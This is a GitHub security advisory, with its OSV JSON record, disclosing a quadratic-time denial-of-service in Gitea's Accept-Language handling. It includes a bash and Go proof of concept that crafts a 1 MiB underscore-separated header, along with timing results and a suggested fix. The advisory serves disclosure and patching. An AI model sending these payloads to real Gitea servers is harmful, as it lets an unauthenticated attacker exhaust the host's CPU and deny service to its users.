GHSA-FW57-JGCH-PGF3
Vulnerability from github – Published: 2026-07-21 21:15 – Updated: 2026-07-21 21:15Summary
The Locale middleware that runs in front of every unauthenticated request
calls golang.org/x/text/language.ParseAcceptLanguage on the raw
Accept-Language header without imposing a size or shape filter. The
underlying parser has quadratic-time behaviour on long lists of malformed
language tags. The CVE-2022-32149 guard that golang.org/x/text added in
v0.3.8 caps the number of - characters in the input at 1000, but it does
not cap _ characters even though the parser's internal scanner aliases
_ to - before parsing. A single unauthenticated GET request with an
Accept-Language header built out of _ separators burns ~2 seconds of
server CPU on the host running Gitea; ten concurrent attackers saturate a
ten-core box for the duration of the attack while consuming ~1 MiB of
upstream bandwidth per request.
Affected versions
code.gitea.io/gitea 1.22.6 and (per code inspection of main) all
earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that
do not impose their own size limit on the Accept-Language header before
calling ParseAcceptLanguage. Verified on:
- the official
gitea/gitea:1.22.6docker image (E2E below) mainat commit6f4027a6be28c876c0abaf37cc939658645b78a3by readingmodules/web/middleware/locale.go(the call site at line 38 is unchanged onmain)
Privilege required
Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.
Vulnerable code
modules/web/middleware/locale.go:38
(blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):
// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
tag := translation.Match(tags...)
lang = tag.String()
}
req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default
Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not
override it, so the parser is allowed to receive up to a megabyte of
attacker-controlled data.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters
and rejecting inputs with more than 1000 of them. The guard does not count
_ characters even though the scanner converts _ to - at parse time
(golang.org/x/text/internal/language/parse.go).
A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens
contains zero - characters, passes the guard, and then drives the
scanner into the O(N²) gobble path. The fix author of CVE-2022-32149
treated - as the canonical separator; the _ alias was added in 2013,
nine years before the fix.
How Accept-Language reaches ParseAcceptLanguage
Every Gitea HTTP request passes through Locale as it is wired up via
the global request pipeline (Gitea registers the middleware on its router
in routers/web/web.go). The middleware sequence is:
- The request enters
Locale(resp, req). req.URL.Query().Get("lang")returns "" (attacker omitslang).req.Cookie("lang")returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie).req.Header.Get("Accept-Language")returns the full attacker-supplied header value.language.ParseAcceptLanguage(...)runs unfiltered.
No size or character class filter is applied between (4) and (5).
Proof of concept
Single-line bash reproducer that crafts the malicious header and
times one request against a fresh gitea/gitea:1.22.6 container:
docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:13000/
Each 9-character _abcdefghi token has length 9, which fails the
scanner's len <= 8 tag-length check at
golang.org/x/text/internal/language/parse.go and triggers a gobble
call that runtime.memmoves the entire remaining buffer. With N invalid
tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against gitea/gitea:1.22.6)
A Go driver poc.go that boots the container, sends a 1 MiB
Accept-Language value once with - (CVE-2022-32149 guard fires) and
once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:13000/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
send("attack repeat 2", buildPayload("_", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}
Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the
official gitea/gitea:1.22.6 image with no other tuning):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.
Target: http://127.0.0.1:13000/
warm-up (no header) header=0 B '_'=0 '-'=0 status=200 t=18.079666ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=6.480333ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=5.0455ms
guard-fires control ('-' x 1MiB) header=1048572 B '_'=0 '-'=104857 status=200 t=26.020625ms
attack ('_' x 1MiB) header=1048572 B '_'=104857 '-'=0 status=200 t=2.159538333s
attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.938493583s
attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.679953042s
Interpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 1 - 7 ms |
1 MiB - separators (CVE-2022-32149 guard fires) |
1 MiB | 26 ms |
1 MiB _ separators (guard bypassed) |
1 MiB | 1.7 - 2.2 s |
The - control proves that the existing CVE-2022-32149 guard does still
work on the canonical separator: a 1 MiB - payload returns in 26 ms
because the parser short-circuits with ErrTagListTooLarge. The _
attack returns 200 from the same endpoint but consumes ~2 s of server
CPU because the guard did not fire and the quadratic scanner ran to
completion.
Impact
- One unauthenticated client can pin one CPU core for ~2 seconds per 1 MiB request.
- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Gitea instance indefinitely.
- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
- Self-hosted Gitea installations published to the public internet (the common pattern) are exposed.
Suggested fix
Apply the size / character-class filter before reaching
ParseAcceptLanguage. The smallest change that preserves the existing
behaviour for legitimate Accept-Language headers is to count _
alongside - and short-circuit when the total exceeds a small ceiling:
// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values
if len(lang) == 0 {
al := req.Header.Get("Accept-Language")
if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
al = ""
}
tags, _, _ := language.ParseAcceptLanguage(al)
tag := translation.Match(tags...)
lang = tag.String()
}
A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future
upstream fix is the right long-term solution; the change above is
defensive in depth at the only call site that consumes attacker input.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58436"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:15:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Locale middleware that runs in front of every unauthenticated request\ncalls `golang.org/x/text/language.ParseAcceptLanguage` on the raw\n`Accept-Language` header without imposing a size or shape filter. The\nunderlying parser has quadratic-time behaviour on long lists of malformed\nlanguage tags. The CVE-2022-32149 guard that golang.org/x/text added in\nv0.3.8 caps the number of `-` characters in the input at 1000, but it does\nnot cap `_` characters even though the parser\u0027s internal scanner aliases\n`_` to `-` before parsing. A single unauthenticated GET request with an\n`Accept-Language` header built out of `_` separators burns ~2 seconds of\nserver CPU on the host running Gitea; ten concurrent attackers saturate a\nten-core box for the duration of the attack while consuming ~1 MiB of\nupstream bandwidth per request.\n\n### Affected versions\n\n`code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all\nearlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that\ndo not impose their own size limit on the `Accept-Language` header before\ncalling `ParseAcceptLanguage`. Verified on:\n\n- the official `gitea/gitea:1.22.6` docker image (E2E below)\n- `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading\n `modules/web/middleware/locale.go` (the call site at line 38 is unchanged\n on `main`)\n\n### Privilege required\n\nUnauthenticated. The Locale middleware runs for every HTTP request\nincluding the landing page and the sign-in page.\n\n### Vulnerable code\n\n[`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38)\n(blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`):\n\n```go\n// 3. Get language information from \u0027Accept-Language\u0027.\n// The first element in the list is chosen to be the default language automatically.\nif len(lang) == 0 {\n tags, _, _ := language.ParseAcceptLanguage(req.Header.Get(\"Accept-Language\"))\n tag := translation.Match(tags...)\n lang = tag.String()\n}\n```\n\n`req.Header.Get(\"Accept-Language\")` is the unfiltered HTTP header. Default\nGo `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Gitea does not\noverride it, so the parser is allowed to receive up to a megabyte of\nattacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters\nand rejecting inputs with more than 1000 of them. The guard does not count\n`_` characters even though the scanner converts `_` to `-` at parse time\n([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)).\nA 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens\ncontains zero `-` characters, passes the guard, and then drives the\nscanner into the O(N\u00b2) `gobble` path. The fix author of CVE-2022-32149\ntreated `-` as the canonical separator; the `_` alias was added in 2013,\nnine years before the fix.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery Gitea HTTP request passes through `Locale` as it is wired up via\nthe global request pipeline (Gitea registers the middleware on its router\nin `routers/web/web.go`). The middleware sequence is:\n\n1. The request enters `Locale(resp, req)`.\n2. `req.URL.Query().Get(\"lang\")` returns \"\" (attacker omits `lang`).\n3. `req.Cookie(\"lang\")` returns nil on a fresh client (attacker uses a\n fresh client, or simply does not send the cookie).\n4. `req.Header.Get(\"Accept-Language\")` returns the full attacker-supplied\n header value.\n5. `language.ParseAcceptLanguage(...)` runs unfiltered.\n\nNo size or character class filter is applied between (4) and (5).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and\ntimes one request against a fresh `gitea/gitea:1.22.6` container:\n\n```bash\ndocker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6\nsleep 8\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n -H \"Accept-Language: ${PAYLOAD}\" \\\n http://127.0.0.1:13000/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the\nscanner\u0027s `len \u003c= 8` tag-length check at\n`golang.org/x/text/internal/language/parse.go` and triggers a `gobble`\ncall that `runtime.memmove`s the entire remaining buffer. With N invalid\ntokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `gitea/gitea:1.22.6`)\n\nA Go driver `poc.go` that boots the container, sends a 1 MiB\n`Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and\nonce with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:13000/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n const tok = \"abcdefghi\"\n var b strings.Builder\n b.Grow(targetBytes + 16)\n b.WriteString(\"en\")\n for b.Len()+1+len(tok) \u003c= targetBytes {\n b.WriteString(sep)\n b.WriteString(tok)\n }\n return b.String()\n}\n\nfunc send(label, header string) {\n client := \u0026http.Client{\n Timeout: 60 * time.Second,\n Transport: \u0026http.Transport{\n DisableKeepAlives: true,\n DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n },\n }\n req, _ := http.NewRequest(\"GET\", targetURL, nil)\n if header != \"\" {\n req.Header.Set(\"Accept-Language\", header)\n }\n t0 := time.Now()\n resp, err := client.Do(req)\n dt := time.Since(t0)\n if err != nil {\n fmt.Printf(\" %-32s ERR after %v: %v\\n\", label, dt, err)\n return\n }\n _, _ = io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n fmt.Printf(\" %-32s header=%d B \u0027_\u0027=%d \u0027-\u0027=%d status=%d t=%v\\n\",\n label, len(header),\n strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n resp.StatusCode, dt)\n}\n\nfunc main() {\n send(\"warm-up\", \"\")\n send(\"baseline (no header)\", \"\")\n send(\"baseline (1 short tag)\", \"en-US\")\n send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n send(\"attack (\u0027_\u0027 x 1MiB)\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 2\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 3\", buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the\nofficial `gitea/gitea:1.22.6` image with no other tuning):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\ngo-gitea/gitea 1.22.6 Locale middleware at\nmodules/web/middleware/locale.go:38.\n\nTarget: http://127.0.0.1:13000/\n\n warm-up (no header) header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=18.079666ms\n\n--- measurements (single request each) ---\n baseline (no header) header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=6.480333ms\n baseline (1 short tag) header=5 B \u0027_\u0027=0 \u0027-\u0027=1 status=200 t=5.0455ms\n guard-fires control (\u0027-\u0027 x 1MiB) header=1048572 B \u0027_\u0027=0 \u0027-\u0027=104857 status=200 t=26.020625ms\n attack (\u0027_\u0027 x 1MiB) header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=2.159538333s\n attack repeat 2 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.938493583s\n attack repeat 3 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.679953042s\n```\n\nInterpretation:\n\n| Request | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag | 0 - 5 | 1 - 7 ms |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms |\n| 1 MiB `_` separators (guard bypassed) | 1 MiB | 1.7 - 2.2 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still\nwork on the canonical separator: a 1 MiB `-` payload returns in 26 ms\nbecause the parser short-circuits with `ErrTagListTooLarge`. The `_`\nattack returns 200 from the same endpoint but consumes ~2 s of server\nCPU because the guard did not fire and the quadratic scanner ran to\ncompletion.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2 seconds per 1\n MiB request.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a\n 10-core Gitea instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as\n abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Gitea installations published to the public internet (the\n common pattern) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter before reaching\n`ParseAcceptLanguage`. The smallest change that preserves the existing\nbehaviour for legitimate Accept-Language headers is to count `_`\nalongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// modules/web/middleware/locale.go\nconst maxAcceptLanguageSeparators = 32 // matches typical real browser values\n\nif len(lang) == 0 {\n al := req.Header.Get(\"Accept-Language\")\n if strings.Count(al, \"-\")+strings.Count(al, \"_\") \u003e maxAcceptLanguageSeparators {\n // Refuse to call into the BCP 47 parser with absurd input.\n al = \"\"\n }\n tags, _, _ := language.ParseAcceptLanguage(al)\n tag := translation.Match(tags...)\n lang = tag.String()\n}\n```\n\nA real Accept-Language header from a browser contains under 10\nseparators, so a ceiling of 32 leaves plenty of headroom while making\nthe quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future\nupstream fix is the right long-term solution; the change above is\ndefensive in depth at the only call site that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-fw57-jgch-pgf3",
"modified": "2026-07-21T21:15:47Z",
"published": "2026-07-21T21:15:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38323"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/f452c369acc9f1bd05ec6ef9c2e4399062dd6da1"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.